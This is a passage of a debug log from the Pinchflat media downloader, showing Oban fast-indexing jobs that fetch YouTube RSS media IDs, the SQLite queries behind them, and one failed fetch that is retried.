m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 03:30:54.062 [debug] QUERY OK source="media_items" db=2.0ms idle=417.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 03:30:54.063 [debug] QUERY OK source="tasks" db=0.0ms idle=419.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [533, 1, ~U[2026-07-24 03:30:54Z], ~U[2026-07-24 03:30:54Z]] 03:30:54.063 [info] {"args":{"id":1},"id":530,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":420541,"event":"job:stop","queue_time":313701,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:30:54.644 [info] {"args":{"id":2},"id":531,"meta":{},"system_time":1784863854644010765,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:30:54.644 [debug] QUERY OK source="sources" db=0.0ms idle=580.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:30:54.644 [debug] QUERY OK source="settings" db=0.0ms idle=580.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:54.644 [debug] QUERY OK source="media_profiles" db=0.0ms idle=574.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:30:54.644 [debug] QUERY OK source="settings" db=0.0ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:54.644 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 03:30:54.999 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 03:30:54.999 [debug] QUERY OK source="media_items" db=0.2ms idle=355.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 03:30:55.000 [debug] QUERY OK source="media_items" db=0.2ms idle=355.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 03:30:55.001 [debug] QUERY OK source="tasks" db=0.0ms idle=356.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [534, 2, ~U[2026-07-24 03:30:55Z], ~U[2026-07-24 03:30:55Z]] 03:30:55.001 [info] {"args":{"id":2},"id":531,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":357152,"event":"job:stop","queue_time":506740,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:30:55.448 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.943 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:31:25.450 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:55.451 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.944 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:32:25.452 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:55.453 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.945 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:33:25.454 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:55.455 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.945 [info] {"source":"oban","duration":122,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:34:25.456 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:55.458 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.947 [info] {"source":"oban","duration":121,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:35:08.960 [info] {"args":{"id":3},"id":532,"meta":{},"system_time":1784864108960116600,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:35:08.960 [debug] QUERY OK source="sources" db=0.0ms idle=1884.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:35:08.960 [debug] QUERY OK source="settings" db=0.0ms idle=1007.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:35:08.960 [debug] QUERY OK source="media_profiles" db=0.0ms idle=884.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:35:08.960 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:35:08.960 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:35:09.167 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":532,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":206658,"event":"job:exception","queue_time":435594,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:35:25.459 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:27.986 [info] {"args":{"id":3},"id":532,"meta":{},"system_time":1784864127986105216,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:35:27.986 [debug] QUERY OK source="sources" db=0.0ms idle=910.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:35:27.986 [debug] QUERY OK source="settings" db=0.0ms idle=910.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:35:27.986 [debug] QUERY OK source="media_profiles" db=0.0ms idle=910.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:35:27.986 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:35:27.986 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:35:28.099 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 03:35:28.100 [debug] QUERY OK source="media_items" db=0.2ms idle=113.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 03:35:28.102 [debug] QUERY OK source="media_items" db=1.6ms idle=113.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 03:35:28.102 [debug] QUERY OK source="tasks" db=0.0ms idle=115.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [535, 3, ~U[2026-07-24 03:35:28Z], ~U[2026-07-24 03:35:28Z]] 03:35:28.102 [info] {"args":{"id":3},"id":532,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":116677,"event":"job:stop","queue_time":818652,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:35:55.461 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.948 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:36:25.462 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:55.463 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.949 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:37:25.464 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:55.465 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.950 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:38:25.466 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:55.467 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.951 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:39:25.468 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:55.469 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.952 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:40:25.470 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:54.368 [info] {"args":{"id":1},"id":533,"meta":{},"system_time":1784864454368191723,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:40:54.368 [debug] QUERY OK source="sources" db=0.0ms idle=1292.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:40:54.368 [debug] QUERY OK source="settings" db=0.0ms idle=1292.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:40:54.368 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:40:54.369 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:40:54.369 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 03:40:54.726 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 03:40:54.727 [debug] QUERY OK source="media_items" db=0.2ms idle=358.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 03:40:54.729 [debug] QUERY OK source="media_items" db=2.0ms idle=359.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 03:40:54.730 [debug] QUERY OK source="tasks" db=0.0ms idle=361.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [536, 1, ~U[2026-07-24 03:40:54Z], ~U[2026-07-24 03:40:54Z]] 03:40:54.730 [info] {"args":{"id":1},"id":533,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":362207,"event":"job:stop","queue_time":304724,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:40:55.369 [info] {"args":{"id":2},"id":534,"meta":{},"system_time":1784864455369180841,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:40:55.369 [debug] QUERY OK source="sources" db=0.0ms idle=638.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", 